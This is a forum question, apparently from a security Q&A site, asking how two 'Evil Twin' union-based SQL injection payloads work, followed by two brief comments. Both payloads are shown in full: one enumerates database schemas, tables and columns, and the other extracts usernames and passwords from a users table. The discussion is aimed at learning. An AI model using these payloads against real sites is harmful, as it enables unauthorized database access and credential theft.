I have been reading about SQL injection and got hit at Evil Twin SQL injection here. There are two queries mentioned in the article as follows.

-1' union select 1,2,3,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))))a)#


-1' union all select (select (@) from (select(@:=0x00),(select (@) from (users) where (@)in (@:=concat(@,0x3C,0x62,0x72,0x3E,' [ ',username,' ] > ',pass,' > '))))a)#

I understand the first query will fetch all the tables and corresponding columns and the second query will fetch data from a particular column of a table. But the article doesn't really explain how the query works.

Most of my Google search went straight to Evil Twin wifi cracking :(

  • 2
    Maybe google for "union based sql injection", because this is basically what this is. Not sure why the author had to give it a different name. – stanko Aug 25 '17 at 11:25
  • I understand the union based injection. I would like to know how this particular set of code works. :) – Anonymous Platypus Aug 31 '17 at 12:59

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.